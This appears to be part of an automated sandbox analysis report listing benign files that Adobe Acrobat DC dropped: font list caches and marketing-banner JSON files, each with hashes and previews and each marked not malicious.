Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356220433660667
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJM3g98kUwPeUkwRe9:YvXKXDKbsdTeO+WsGMbLUkee9
MD5:	BCE24D7E19120F04DC7378FBAE619110
SHA1:	1353AC9E63362FDAFC4C7413E289D96CF94D6A97
SHA-256:	46A788554A3D1D2DA03EBCA1249B19EAD3CDE5AB0A659266492C94CB690AF3F4
SHA-512:	E8D6D6EF53B9C64F54195C5749972D91D416006894373B9BD6FE78AB91DC06FDBB7CC2C5DF7CDA05D56910A35743B5AC7B898FE91B80C0C2F1772E5D620ACF63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290589796593143
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfBoTfXpnrPeUkwRe9:YvXKXDKbsdTeO+WsGWTfXcUkee9
MD5:	FACB68B805F1DD47561512F016BE7CDD
SHA1:	A239011D80C80B106FABC7B5D79D3399D48004C4
SHA-256:	A395265EF138154A14DFEA536063FD330E54A2537005F545891ABD521ABD3C43
SHA-512:	393527DBEDF005E9A1D476E86881F2EFB02D9F1B14769D27FA76E30B2DF357847CCC617D42C9A5556B18996CF10E2CCB1A98609256CBBFFF15DEC22D320600B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.268350866964969
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfBD2G6UpnrPeUkwRe9:YvXKXDKbsdTeO+WsGR22cUkee9
MD5:	8D17395A11089A1212C9FB252E53B4FB
SHA1:	E57F1FF621A9409C146E30ABB905AE014AFF6867
SHA-256:	7A5A29F9F93A4446DBAC63E44E83C920FC3E090AF4D92E8B761BB7C6E520CAAB
SHA-512:	F9F28C1FDF36BE6C3B34ABE2F4CE661C9D67DD2D1BD82D3BE638CB89479984F34003F57EC61704EF68ADD7D4A0C2C5595EA9DB5620DFC4B37B388D4ADF924A0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34284810689771
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfPmwrPeUkwRe9:YvXKXDKbsdTeO+WsGH56Ukee9
MD5:	3B909C3E0ABFB0A21E04678AF6EACFC0
SHA1:	EA0EED70063F6411E6DF1E804FF8B3134D9D45B2
SHA-256:	EBAC63CD90A468D3B333F1D238705AEA618E18DB25D4EFD3DE8BB5F64EB2E079
SHA-512:	6E2C424ABAC2D352D36FB311F10C606D639F695AA12A3BC0587CB657CC96151F628834A4D8EB05C2358750624449CF80C7F9985C70FFACF0DACEDDB0B5757E1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688818471127532
Encrypted:	false
SSDEEP:	24:Yv6XGbmeO/JpLgE9cQx8LennAvzBvkn0RCmK8czOCCSqn:Yvge+hgy6SAFv5Ah8cv/q
MD5:	EE4AE54301E7EB7333B45E7BDF1FEABA
SHA1:	7248E3127E1EF7C024F300C3ED8EC60AC0E33646
SHA-256:	82F1B120A473423521EDB8EEAADF659472768F0BD08B32E6CE72C4587CA2F0B1
SHA-512:	FB1CD61055B161E53292A11F30E20D1B1D52B8802FDE33A17E7193660CF0EB2D86C5B882A66BAD7393BA6C4A1678A83355B5801D70DAAC1B702352011FE648AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277286192807571
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJf8dPeUkwRe9:YvXKXDKbsdTeO+WsGU8Ukee9
MD5:	BF31C52945DC907A69358200254DF5F8
SHA1:	6DFB5A6E50C5415AA4B84DF675CD498CD79F3F27
SHA-256:	C533E399AF88EE39F110AB07BBFAAB1A06B8031FA4916A68201888C9E3D98014
SHA-512:	893FFA78CAB6526E12D6F15FE639120F08D6825F1B2FF9BBFC250381756C005EC6ECFA67609BFF3490F9CE496D80FAB57ADB63A119FB1CE4DCBE2EDC26556C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281111192083255
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfQ1rPeUkwRe9:YvXKXDKbsdTeO+WsGY16Ukee9
MD5:	067C97A4CB2A0D664E9799FB64FF3C4E
SHA1:	AE781F843FC8FC203F14AE18DFFAC8B1F029CD4D
SHA-256:	EB0E62471792BCA8F89F6CF3DB9EE1C458DB3CE3183A3ED67915802DBB40B10B
SHA-512:	3B0F523D27D5AB069A715EB54818279310247B5BC835FE32577A79C5FB1250E6A018102284B7347E60B06B24EACEF681F7BC34624A9B50CCA3873906440D6639
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296782430914827
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfFldPeUkwRe9:YvXKXDKbsdTeO+WsGz8Ukee9
MD5:	D23C76A6BA4DD7B2A86C14D3055E07E3
SHA1:	391DFDD019659B9D72FACF3EA9EF5DEFFB2583A4
SHA-256:	5FF127CBC2AA000FB0BDAD7692311999F67AABE9297A74624F8CC675112BF8D2
SHA-512:	87CCF4726324033CED4BC64B2DA2F9832CB3E655AA9382E3D771EE4C45CA192E7ED0745CAC426031445DEAA525A51714FC995D9C5B81E00B0E7E7BFB28B1C5AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305021284473661
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfzdPeUkwRe9:YvXKXDKbsdTeO+WsGb8Ukee9
MD5:	F8FEBBA143660F984CB65FDCED5A2280
SHA1:	5801C56F10B857DC87603D44DC5ACD8C8586BF44
SHA-256:	A4008B8DCF3A142543529E51A74AB919D21C3672DC649F0EA8D75F3E4504F750
SHA-512:	55CDA4ECDFEFA01E2B00021CE6D3C1D3E151354FA60B723D04B7CEDB84C60C4A22CC5FE7B3B59DDD142125F39111D739B992E68BE5ECD9E7575CF5F99C0FDD09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285073444402644
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfYdPeUkwRe9:YvXKXDKbsdTeO+WsGg8Ukee9
MD5:	BB74C84BDF10D679FEAAAC8DBA72D74E
SHA1:	C29CC9304551CC453B4D572DF6EACCC0A4C7FD75
SHA-256:	AC66F43A14F9884157FA80E4BF3DC29684A9DEAF1D8418D420EB9CD7A93D2282
SHA-512:	63337E02E2E72C750A141198C4E600C54F2478EA26D4BD597C79E2A936A7DF8D7C3044E0D777F7FC0C803BB716691B31988845EB9CE8C46B8852F873B07DF607
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271160016681375
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJf+dPeUkwRe9:YvXKXDKbsdTeO+WsG28Ukee9
MD5:	37C6B28BA4D07F3CBF010381C65DFD79
SHA1:	FFDF045945593FBEC1E68E3B7ADAF9575AE57687
SHA-256:	A742E9E70F0C38FC90C6D9D28DB5411BBCC500B963422174C11C8FE84DF0D2FF
SHA-512:	625B897CE9168F5728DFC7B69ADB6E9E8E16B8CF6B786A240FD0C5506A9EA37821361BF4F2C075DFFD79F837E6B3A4C9843BE7D02B1CB6E183522A4281515175
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.268723130087486
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfbPtdPeUkwRe9:YvXKXDKbsdTeO+WsGDV8Ukee9
MD5:	DEFA0E1D136B8AEBE500B3A6055CCB83
SHA1:	925E58043A39F9C683F09DC3947CAC421590DF3A
SHA-256:	F7082596F31FCAE4CC9DD9EBB002AEC6BE78177F4E49DE10A3C218CCE826D44F
SHA-512:	A6CB881A7F300AEA647638D52F7BD30A94EF5743D6174498A76868FDFDE7FEDDFCBC0280D34673FB351646ED575915E82B171372015E11C7C7E2113D04FF28F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2728535962926
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJf21rPeUkwRe9:YvXKXDKbsdTeO+WsG+16Ukee9
MD5:	16BE7B8364E501CE068F078DAF6B7262
SHA1:	92B2540739F645418DB27190B212C9064F539E74
SHA-256:	466BC96D5DBBFCB810FC90F3BFE66B9BACF846A3431719E01803035321FC9C9E
SHA-512:	0CAB823EB37EF524E38AC83176334673354E3301CCA531DEFC3C37FAD7741E2D54DAC858CC798075459FEFBC9FDAFA8A2FE9A75F3B0C6D17F17F72B97530C12D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662330043750811
Encrypted:	false
SSDEEP:	24:Yv6XGbmeO/5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS9:Yvge8BgkDMUJUAh8cvM9
MD5:	81442A55E8949EB862914BB5DE931A77
SHA1:	C9EAF1DDC7F714BB0B0EEF96E90508DE10E41C72
SHA-256:	11E169CBC63A79FFB1EB6DC20CB9B793F114F7E1ADE6A7CF2185CEA457F75835
SHA-512:	2EC9B462CF60185D45A69B6B58051FC7FAAE79A06CFCAD6731117DEECD2FFD5FF644F539DB73302E50AFDD46859D972421A9F7C6E397CD51826551A05C71D6F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247912100878649
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJfshHHrPeUkwRe9:YvXKXDKbsdTeO+WsGUUUkee9
MD5:	14F9CC51A512676662DBF3D5027A5058
SHA1:	E35FF92D6B647D91CC89A25B00A461D3BC82293A
SHA-256:	0FB5D22E4CA415C76C039007B051A698E034A956CA5D94259D476099A8BE20BF
SHA-512:	997D097F9494F9FE4E4963748758DD4A3D877F5058E18887CD5109FCDA50FEF53EFA090A4D16068D878D15658D46927805A5E76237BFB41DC489BFFD3639CBDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272016895681404
Encrypted:	false
SSDEEP:	6:YEQXJ2HX73KHYWsGiIPEeOF0YjQHWDoAvJTqgFCrPeUkwRe9:YvXKXDKbsdTeO+WsGTq16Ukee9
MD5:	8305D2C93E4EF62C22EA0856260535CC
SHA1:	B4B49A476F822B7F7A9ACD6F3A7935027C0468F6
SHA-256:	E0F8763361E933275D68C0D54321013D3586CB4ABB22217197933B64621C58B7
SHA-512:	EE7239E509CFA9836B90A6E576D30491396D249A9CB9D0E4A6083422EC836CE61BE45DFA04EBF37E67A594AC26BB4A7E9B325B864947010A5D202DBC15A8562F
Malicious:	false
